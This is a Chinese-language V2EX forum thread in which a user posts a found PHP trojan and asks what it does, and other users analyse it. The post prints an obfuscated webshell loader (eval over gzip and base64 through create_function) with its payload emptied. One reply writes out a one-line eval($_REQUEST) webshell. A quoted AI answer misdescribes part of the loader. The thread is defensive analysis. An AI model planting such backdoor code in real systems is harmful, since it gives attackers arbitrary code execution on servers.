PHP 木马脚本,帮忙分析下干了什么事。内容加密太长了,在 de(加密数据)

2023-09-25 10:00:01 +08:00
 coffeygao

php 脚本,帮忙分析下这是干了什么事,是个木马。

<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
$filename='$password=\''.$password.'\';e'.'v'.'a'.'l(g'.'z'.'un'.'co'.'mp'.'re'.'ss(bas'.'e64_'.'deco'.'de(\'\')));';
$Base=Create_Function('',$filename);$Base();
?>
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
$filename='$password=\''.$password.'\';e'.'v'.'a'.'l(g'.'z'.'un'.'co'.'mp'.'re'.'ss(bas'.'e64_'.'deco'.'de(\'\')));';
$Base=Create_Function('',$filename);$Base();
?>

2183 次点击
所在节点    PHP
12 条回复
pannanxu
2023-09-25 10:09:57 +08:00
以下是通义千问的回答,我看着挺符合的。

这两段代码非常相似,都包含了以下操作:

设置错误报告级别为 E_ERROR 和 E_PARSE ,这意味着只有当出现致命错误或语法错误时,错误信息才会被显示。
设置脚本执行时间限制为无限制,这意味着脚本可以一直运行下去,直到被强制停止。
设置响应头,告诉浏览器返回的内容是文本/HTML 类型,字符集为 GB2312 。
定义了一个变量 $filename ,其值为一个字符串,其中包含了 PHP 的函数调用。这个函数调用使用了 eval 函数来执行,这个函数会执行字符串中的 PHP 代码。
使用 Create_Function 函数来创建一个匿名函数,这个函数没有参数,但是会执行 $filename 中定义的 PHP 代码。
调用这个匿名函数,从而执行了 $filename 中定义的 PHP 代码。
这个代码片段的目的是执行一个包含密码的字符串,这个字符串被编码为 base64 ,并且在 eval 函数中被解码。这个过程可能会导致安全问题,因为 eval 函数会执行任意的 PHP 代码,这可能会导致代码注入攻击。
x86
2023-09-25 10:12:39 +08:00
你这看都不用看来,写个小马让远程菜刀之类去连接了
yplam
2023-09-25 10:13:30 +08:00
base64_decode 里面应该还有内容吧,通常脚本语言执行代码不会留在你服务器上,而是留个后门实际执行代码调用时再 post 过来,你省略的那段 base64+gzip 大概率就是获取某 post 字段
lshero
2023-09-25 10:13:56 +08:00
那一堆拼接的字符你都看到了 eval 了还能干啥事情,肯定是接受任意传入的文本生成一个匿名函数直接执行呗
MeteorCat
2023-09-25 11:57:22 +08:00
开 ssh ,让大哥来
rocksolid
2023-09-25 12:04:32 +08:00
留个入口,这玩意本身啥事也不做,但是通过这个啥事都能干
proxytoworld
2023-09-25 14:36:06 +08:00
就是传了个后门,能通过这个后门执行任意 PHP 代码,如果没有通信流量也就这样了,这只是一个小马
tabris17
2023-09-25 14:38:23 +08:00
不用看
基本就是类似于
<?php eval($_REQUEST['shellcode']);
这样的代码
brader
2023-09-25 15:08:24 +08:00
你和我之前提醒的一位同行一样,研究这份代码没有意义,你该研究的是你程序的哪个漏洞,让它成功把这个文件写进来的
flyqie
2023-09-25 15:38:27 +08:00
可读性美化后:
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
$filename = '$password=\'' . $password . '\';eval(gzuncompress(base64_decode(\'\')));';
$Base = Create_Function('', $filename);
$Base();

实际代码:
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
eval(gzuncompress(base64_decode('')));
Paulownia
2023-09-25 16:35:43 +08:00
通过 eval 执行函数,基本上啥都可以干,执行命令,写入文件,读取文件之类的。
582033
2023-09-25 17:12:53 +08:00
小马

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/976828

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX